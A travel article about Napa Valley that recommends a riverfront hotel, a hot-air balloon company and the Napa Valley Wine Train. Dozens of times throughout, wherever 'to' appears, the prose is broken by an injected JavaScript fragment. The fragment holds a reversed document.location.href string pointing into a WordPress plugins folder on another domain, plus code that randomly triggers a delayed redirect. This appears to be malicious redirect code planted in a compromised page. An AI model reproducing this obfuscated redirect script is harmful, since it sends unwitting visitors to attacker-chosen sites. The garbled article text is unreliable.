Three Hit Destinations To Make Your Stay In The Napa Valley Unforgettable

Napa Valley is the very place that put American wines on the map of the world-class wine making. It is Napa’s full-bodied Cabernets that share the same pages of the wine menus with the French Bordeaux and Italian Tuscany blends.

No wonder Napa is one of the most appealing destinations in California, for locals and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourists alike. The valley is saturated with hundreds of wineries accompanied by some exquisite dining and luxury lodging. So, whether you are a wine spectatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor or a sober companion, the wine country offers plenty of reasons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come for a visit.
Wine tasting is the most common reason people come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Valley. However, some toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour the wineries just toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enjoy the fascinating ambiance of the elegant tasting rooms. Napa’s famous Tuscany-looking castle, Castello di Amoroso, alone is worth seeing whether you are interested in wine tasting or not. The wineries vary from boutique, family-owned estates, like the Italian-spirited Regusci, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to world-known iconic names, like Robert Mondavi and Beringer Vineyards.
There are no rules when it comes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to exploring the Napa Valley. You can literally take any exit along the Highway 29 or the Silverado Trail, the two main roads in Napa, and run intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a scenic winery or a vintage tasting room. We want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to offer you a different take on your Napa getaway, an itinerary that will through you off the beaten path of the wine country and provide you with an experience you will remember for life. We present you with three local gems that can take you above and beyond the ground zero of American wine making. Literally.

Stay

Napa River Inn, 500 Main Street, Napa, CA 94559
www.napariverinn.com
1-877-251-8500

Napa River Inn is a four-star waterfront hotel situated within the Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric Napa Mill in Downtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town Napa’s Riverfront District. The hotel is located within a walking distance from the fancy shops, upscale boutiques, and world-class restaurants featured in travel magazines and on Food Network shows. It’s just minutes away from the intimate French hideout Angèle, the famous Japanese American twist Morimotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, and one of the best places for sophisticated fresh seafood – the Fish Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.
Aside of its convenient location right in the newly-reborn Downtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town District, Napa River Inn offers deluxe accommodations with high class amenities.
The rooms are equipped with luxurious beds which have heavenly-comfortable mattresses, cottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton sheets, and feather down comforters.

Bathrooms are finished with marble vanities and upscale appliances and feature Organic locally sourced bath products, such as Cabernet body wash and Champagne conditioner. The floor plans are spacious and wide-open finished with lavish décor and cozy fireplaces. To make your stay more memorable, Napa River Inn will start your day with a complimentary cup of Peet’s Coffee and breakfast in bed from Sweetie Pie Bakery.
Luxury bedding, gourmet breakfast in bed, and locally-sourced organic bath products are not the only features that set Napa River Inn aside. It is the view that makes the stay in this hotel so memorable. Unlike most of other Napa hotels, the Inn is not surrounded by rolling hills and groomed vineyards. Its wide-open windows covered with bushy vines overlook a fast-running river. Whenever the night falls down the water lights up with a myriad of reflections from the street lights that guard the waterfront. There is something soothing and magical about this dynamic dance of light and water.

Play

Balloons Above the Valley
www.balloonrides.com
1-800-464-6824

The two attractions we chose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to spotlight are nothing close toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the usual wine country experience. They allow you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to step away from the ordinary and see Napa Valley from a whole different perspective. Our first recommendation is getting a birds-eye view of the entire valley from a hot air balloon. Hot air balloons are a sight toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see even when you simply look at them from the ground, let alone when you ride one. Now, imagine floating up in the sky, looking down at one of the most picturesque countryside in the nation and have its rolling hillsides, wooded trails, and lush wineries all at your fingertips. A pretty terrific view.
Balloons above the Valley is the company we recommend. It has quite an extensive histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory and a perfectly safe flying record. It was founded back in 1976 by one of the pioneers in hot air balloon aviation, Bob Barbarick. Since then it has grown toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become one of the most trusted hot air balloon companies in America. There is a variety of toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour options you could choose from; however, their sunrise flight paired with a champagne brunch is especially breathtaking. The meeting time for the sunrise flight is pretty early. You have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be at the meeting point by 5 am. The good thing is, the rondevu is only 10 minutes away from the Napa River Inn. At 5 am that helps a lot. Upon your arrival you’ll be treated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to some hot Starbucks coffee with freshly baked pastries and then taken toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the launch site toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see your hot air balloon being inflated. That’s when you claim your spot in the basket and it takes you off intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the fresh morning air. You’ll find yourself standing thousands of feet above the ground with no safety belts or glass windows toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep you in – an unbelievable sensation. Your experience will be completed with a gourmet Champaign Brunch served upon your arrival.

Dine

Napa Valley Wine Train
www.WineTrain.com
1-800-427-4124

Our next featured attraction allows you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explore the wine country from within. It combines an exquisite dining experience with a scenic ride on board of a restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tored antique engine that takes you through some fabled vineyards of Napa Valley. Napa Valley Wine Train is area’s most distinctive restaurant. It offers seasonal menu created by the Executive Chef Kelly Macdonald. The meals are prepared from fresh local ingredients and everything is cooked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to order while the guests enjoy their relaxing journey.
There train has three kitchens cars and the guests are more than welcome toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top by and watch the meals being prepared. Your server will be more then welcome toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to advise you on the best time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to visit the kitchen and see the chefs cook the food on board of a moving train. An experience that could easily compete with any cooking show! Each car offers a separate multiple course menu. A sample meal in the Vista Dome lunch package features such delicacies as Smoked Salmon Crepes with crème Fraiche, caviar, and honey onion marmalade as an appetizer, and Grilled Local Lamb Chops in a sweet corn puree as the main course.
There is a variety of packages you can choose from with tickets available for lunch and dinner journeys, romantic endeavors, such as the Moonlight Escape, and Murder Mystery Dinner Theatre. All packages include multiple course gourmet meals and a three-hour antique train ride. The train leaves from the station located in the Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric Downtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town Napa within a short ten-minute walk from our featured Napa River Inn. A roundtrip covers thirty-six miles of railway that goes through the world’s most famous vineyards toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the charming village of St. Helena, and back.

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